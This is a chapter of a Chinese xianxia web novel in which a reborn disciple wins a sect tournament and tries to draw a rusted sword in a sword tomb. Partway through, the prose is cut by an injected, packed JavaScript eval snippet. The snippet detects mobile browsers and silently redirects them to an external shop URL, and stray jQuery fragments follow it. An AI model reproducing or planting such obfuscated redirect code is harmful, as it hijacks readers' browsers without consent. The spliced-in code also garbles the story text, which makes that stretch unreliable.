林知意带着几个弟子过去抽签区抽取比试顺序,齐凌云运气还算不错,抽到了个中间上场的号,段从闻是最后一个伸手进签筒的,拿出来看了一眼——一号。
看清牌上的号码后,齐凌云倒吸一口凉气,道:“第一个上场?段师兄你这运气也太差了吧。”
段从闻面色如常地把号码牌放好,没有接话,他本就打定主意这辈子不会再去抢夺进剑冢的机会,第一名上还是倒数第一名上对他来说都没区别。
“别担心,在场的人里和你同修为的不算多,你肯定可以的。”林知意怕他紧张,笑着拍了拍他的后背。
“嗯。”段从闻轻轻点头,转身往擂台方向走去。
天衍峰的弟子们在台下疯狂给他呐喊助威,十个人硬是喊出了一千人的气势。
段从闻站在台上听着一声比一声高的喊声,竟然诡异地生出一丝想要为天衍峰争口气的感觉,他摇摇头,把这个想法丢出去。
第一场比试,段从闻对阵苍梧峰弟子。
段从闻轻挑了一下眉头,回头看向林知意,那人正满眼专注地看着自己,阳光落在他白皙的脸上,照得眼下两颗红痣熠熠生辉。
见他看过来,林知意朝他比了个手势,段从闻记得,那个手势叫“加油”,是要他努力的意思。
段从闻垂下眼,拇指无意识地在剑柄上摩挲,只犹豫了一瞬,他便拔剑迎了上去。
长剑带着凌厉的剑气直刺苍梧峰弟子的面门,速度极快,台下响起一片惊呼。
苍梧峰弟子狼狈躲过,还没来得及喘口气,下一剑就立马追了上来,只三招,他便被打飞出局。
段从闻看着鼻青脸肿的弟子,沉思了一下,他下台后径直走向林知意,开口道:“大师兄,这算狠狠揍了吗?原本想多揍两下,但他太弱了。”
林知意闻言微微一怔,随即失笑。
他靠近段从闻的耳旁道:“非常棒!但是下次说这种话悄悄的,别被人听见了,容易拉仇恨。”
段从闻不喜欢跟人亲近,也鲜少与人有过这么近的距离,近到温热的呼吸仿佛都能交融。
但他步伐并未挪动半分,只是微微侧过头,林知意的呼吸拂在他的耳廓上,温温热热的,属于那人身上清列的气息扑面而来。
比这更吸引人注意的,是林知意近在咫尺的纤长羽睫,段从闻抿了抿嘴唇,挪开眼,心里因为这句“非常棒”而隐秘的升起几分快感。
他略显得意地弯了弯嘴角,安静地坐回自己的位置上。
比试一场接着一场,天衍峰弟子这次表现得都还不错,第一天过去竟只淘汰了一半人而已,齐凌云更是初现龙傲天雄风,将基础剑法都使得虎虎生威,连胜五场,十分威风。
段从闻除了第一场之后的比试倒是打得有些不尽人意,但在林知意一次又一次的打气鼓励后,他一路碾压,气势如虹,冷脸往擂台上一站,对手还没打就先怵了三分。
比试进行了两天半后,前二十名的名单终于尘埃落定。
段从闻以全胜的战绩位居榜首,他精神恍惚地看着排名,他明明记得一开始打算故意输掉算了……
他眼神幽幽地看着旁边笑得开心的林知意,许久,才叹了一口气,罢了罢了,左右不过再难堪一次而已,他早就习惯了。
林知意看着排在第二名的齐凌云,有些奇怪地挠了挠头,按照剧情他应该是第一,现在却排在了第二,剧情居然还能出差错。
他起了点心思,那是不是就说明或许他能帮助段从闻也拿到一把像样的本命剑,不至于空手而归?
正思考时,齐凌云就跑来兴奋地绕着他转圈圈,“大师兄,我们什么时候能去剑冢啊?现在可以去吗?”
他身后,一群人正竖起耳朵听,每个人眼神里都写满了期待地看着林知意。
“嗯?等一下哦,我问问。”林知意回过神来,他目光在人群中搜寻了一下,此次是进剑冢是他和伏龙峰一位师兄一同带队,他不好私自决定。
“这里这里!”赵川平朝他招了招手,他挤了过来,晃了晃手中的石钥,“走吧,钥匙我已经拿到了。”
林知意清点了一下人数,发现没少人后便带着他们一起去到剑冢,赵川平将石钥嵌入石门正中央的凹槽中,符文瞬间亮了起来,石门缓缓打开,一股凌厉的剑气从门内扑面而来,吹得众人衣袍猎猎作响。
二十名弟子站在门内,被眼前的景象震得说不出话来。
冢内是一片广袤的天地,天穹低垂,云雾缭绕,大地之上插满了密密麻麻的长剑,数千柄剑,数千道气息,交织成一片令人窒息的剑意场,压得几个修为稍低的弟子呼吸都有些不畅。
齐凌云却像是一点感觉都没有,他深吸一口气,眼睛亮得惊人,“好多剑!大师兄,我可以到处看看吗?”
林知意点点头,转身对众人道:“三日为期,无论是否寻得本命剑,届时必须回到此处集合,不要勉强,不要贪心,明白了吗?”
众人齐齐应了一声,林知意不放心地又多交代了几句才将他们放走。
齐凌云扯着段从闻的袖子第一个冲了出去,他一边走一边说:“段师兄你知道不赦剑长什么样吗?”
“你想要?”段从闻微眯起眼睛。
“对啊,不渡和不赦不是双生剑吗?我想跟大师兄一起用。”齐凌云说完有些害羞地捧着脸傻乐了一下。
“……”段从闻不爽地别开脸,他冷冷地丢下一句不知道就转身离开了,一副不想多待的模样。
齐凌云还想去追,忽然,他的心脏开始嘭嘭直跳,他似有所感地抬头朝某个方向看去。
一道金色的光芒从剑冢深处冲天而起,那光芒太过耀眼,将周围的雾气都驱散了大半,整片天穹被照得亮如白昼。
林知意猛地站直了身体,这么强的剑气,定是悬光剑没错了,他急忙朝齐凌云赶去。
金色的光芒中,一柄长剑破土而出,剑身上流转着耀眼的光华,如同一轮小太阳悬在半空。
它在空中停顿了片刻,像是在寻找什么,然后直直地朝着齐凌云的方向飞了过去。
齐凌云站在一片空地上,整个人都傻了,他看着那柄剑朝他飞来,本能地伸手去接。
悬光剑稳稳地落在他掌心,剑身上的光芒逐渐收敛,变成一层温和的暖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672588|207400||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
光,像是在与他共鸣。
齐凌云握着剑,语无伦次地蹦了起来,“大师兄!大师兄你快看啊!”
林知意赶到的时候,悬光剑已经安静地躺在齐凌云手中,剑身微微震颤,发出低沉的嗡鸣,像是在撒娇。
周围的弟子们纷纷围了过来,齐凌云被围在中间,手足无措地抱着剑。
林知意看着他,心中那块石头终于落了地,他欣慰地开口道:“恭喜,这可是天下第一剑呢,对了,从闻呢?”
视线扫了一圈,没看到段从闻的身影,林知意的心顿时提了起来。
“不知道,段师兄好像朝着剑冢深处走去了。”齐凌云有点担心地往段从闻离开的那个方向看了一眼。
“那你去赵师兄身边待着吧,我去找找他。”林知意给他指了路就离开了。
段从闻独自一人走在剑冢中,周遭的喧哗和惊呼声被他远远抛在了身后。
金色的光芒亮起的那一刻,他就知道悬光剑出世了,上辈子,他也曾站在远处,看着那柄剑飞向齐凌云的手心。
那时候他站在人群最边缘,看着所有人围着齐凌云欢呼道贺,而自己手里空空荡荡,像个笑话。
段从闻眼神闪过一丝狠厉,他继续往前走,目标很明确,他知道不赦剑在何处。
一直走到剑冢最偏僻的那个角落,那块黑色巨石还在原地,上面插着一柄剑,和记忆中一模一样。
剑身被厚厚的锈迹覆盖,剑柄上的纹路已经被岁月磨平,毫不起眼,像一块废铁。
这便是不赦剑。
段从闻站在它面前,没有丝毫犹豫,伸出手握住剑柄想要将剑拔出来,但不管他怎么用力,剑都纹丝不动。
他站在不赦剑前,握着剑柄的手因为用力而微微发抖。
剑还是纹丝不动。
他松开手,退后一步,胸口剧烈地起伏着。
上辈子,他在这座剑冢里走遍了每一个角落,向每一柄剑伸出手,满怀期待地释放灵力,然后一次又一次地被拒绝。
三天三夜。
他一把剑都拔不出来。
他记得自己最后跪在这片荒凉的土地上,四周全是剑,却没有一柄属于他。
段从闻的眼眶开始泛红,他咬了咬牙,再次伸手握住剑柄,将全身的灵力都灌了进去。
锈剑震颤了一下,发出一声低沉的嗡鸣,像是在叹息,又像是在拒绝,它恢复了沉默,依然纹丝不动。
“为什么……”段从闻的声音很低,带着一丝不易察觉的颤抖。
没有人回答他。
周围安静得可怕,只有风声从剑冢的缝隙中穿过,发出呜呜的声响,像是在哭泣。
段从闻的指甲嵌进了掌心,有温热的液体从指缝间渗出,他眼里满是病态的偏执,他握住剑身,用力一划,血瞬间染满了剑身。
剑身微微一颤,随后,一股铺天盖地的黑暗将他吞没了。
眼前的一切都消失了,段从闻发现自己站在一片虚无的黑暗中,脚下没有地面,头顶没有天空,四周是无边无际的黑暗。
他知道这是什么。
以剑问心。